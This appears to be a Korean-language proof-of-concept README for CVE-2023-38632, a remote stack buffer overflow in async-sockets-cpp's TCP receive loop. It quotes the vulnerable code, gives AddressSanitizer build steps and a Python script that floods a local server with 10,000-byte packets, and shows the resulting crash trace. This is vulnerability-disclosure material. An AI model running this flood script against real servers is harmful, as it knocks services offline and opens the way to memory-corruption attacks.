halcy0nic/cve-2023-38632CVE-2023-38632에 대한 개념 증명
async-sockets-cpp 0.3.1까지의 버전에는 tcpsocket.hpp의 102-110행에 있는 static void Receive(TCPSocket* socket)에 원격 버퍼 오버플로 취약점이 있습니다. 이 버퍼 오버플로는 해당하는 모든 TCP 서버에 영향을 미칩니다. 원격 버퍼 오버플로는 소켓에 연결한 후 대용량 바이트 버퍼를 전송하여 트리거할 수 있습니다.
while ((messageLength = recv(socket->sock, tempBuffer, BUFFER_SIZE, 0)) > 0)
{
tempBuffer[messageLength] = '\0';
if(socket->onMessageReceived)
socket->onMessageReceived(std::string(tempBuffer, messageLength));
if(socket->onRawMessageReceived)
socket->onRawMessageReceived(tempBuffer, messageLength);
}
이 문제를 확인하려면 이 저장소에 포함된 예제 TCP 서버를 async-sockets-cpp-master/examples 폴더에서 디버그 기호와 address sanitizer를 사용하여 압축 해제하고 컴파일하십시오:
$ unzip async-sockets-cpp-master.zip
$ cd async-sockets-cpp-master/examples
CC := g++
CFLAGS := --std=c++11 -Wall -Wextra -Werror=conversion -fsanitize=address -g
LIBS := -lpthread -fsanitize=address
INC := ../async-sockets/include
RM := rm
.PHONY: all clean
all: tcp-client tcp-server udp-client udp-server
tcp-client: tcp-client.cpp $(INC)/tcpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
tcp-server: tcp-server.cpp $(INC)/tcpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-client: udp-client.cpp $(INC)/udpsocket.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
udp-server: udp-server.cpp $(INC)/udpserver.hpp
$(CC) $(CFLAGS) $< -I$(INC) $(LIBS) -o $@
clean:
$(RM) tcp-client
$(RM) tcp-server
$(RM) udp-client
$(RM) udp-server
async-sockets-cpp-master/examples 폴더에서 다음 명령을 실행하여 서버를 컴파일하십시오:
$ make
서버가 컴파일되면 포트 8888에서 tcp-server를 실행하십시오:
$ ./tcp-server
다음 python3 스크립트는 tcp-server에 연결하여 약 10,000바이트의 데이터가 포함된 대용량 패킷을 전송합니다. 버퍼 오버플로를 트리거하는 데 필요한 최소 크기는 4096바이트입니다:
import socket
host = "localhost"
port = 8888 # The same port as used by the server
buf = b'A'*10000 # Overflow happens at 4096 bytes
while(True):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
#print('Received', repr(data))
except:
print("Completed...")
위 python3 스크립트를 실행하면 서버가 충돌하고 address sanitizer가 스택 버퍼 오버플로의 위치를 보여주는 다음과 같은 상세 출력이 생성됩니다:
$ python3 CVE-2023-38632.py
=================================================================
==1124507==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff4ffdcb0 at pc 0x55555555ef97 bp 0x7ffff4ffcc00 sp 0x7ffff4ffcbf8
WRITE of size 1 at 0x7ffff4ffdcb0 thread T2
#0 0x55555555ef96 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:104
#1 0x555555560775 in void std::__invoke_impl<void, void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(std::__invoke_other, void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:61
#2 0x5555555605eb in std::__invoke_result<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>::type std::__invoke<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*>(void (*&&)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*&&) /usr/include/c++/12/bits/invoke.h:96
#3 0x5555555604f2 in void std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::_M_invoke<0ul, 1ul>(std::_Index_tuple<0ul, 1ul>) /usr/include/c++/12/bits/std_thread.h:252
#4 0x55555556048f in std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> >::operator()() /usr/include/c++/12/bits/std_thread.h:259
#5 0x555555560453 in std::thread::_State_impl<std::thread::_Invoker<std::tuple<void (*)(TCPSocket<(unsigned short)4096>*), TCPSocket<(unsigned short)4096>*> > >::_M_run() /usr/include/c++/12/bits/std_thread.h:210
#6 0x7ffff74d44a2 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xd44a2)
#7 0x7ffff76a7fd3 in start_thread nptl/pthread_create.c:442
#8 0x7ffff77285bb in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7ffff4ffdcb0 is located in stack of thread T2 at offset 4224 in frame
#0 0x55555555eea1 in TCPSocket<(unsigned short)4096>::Receive(TCPSocket<(unsigned short)4096>*) ../async-sockets/include/tcpsocket.hpp:97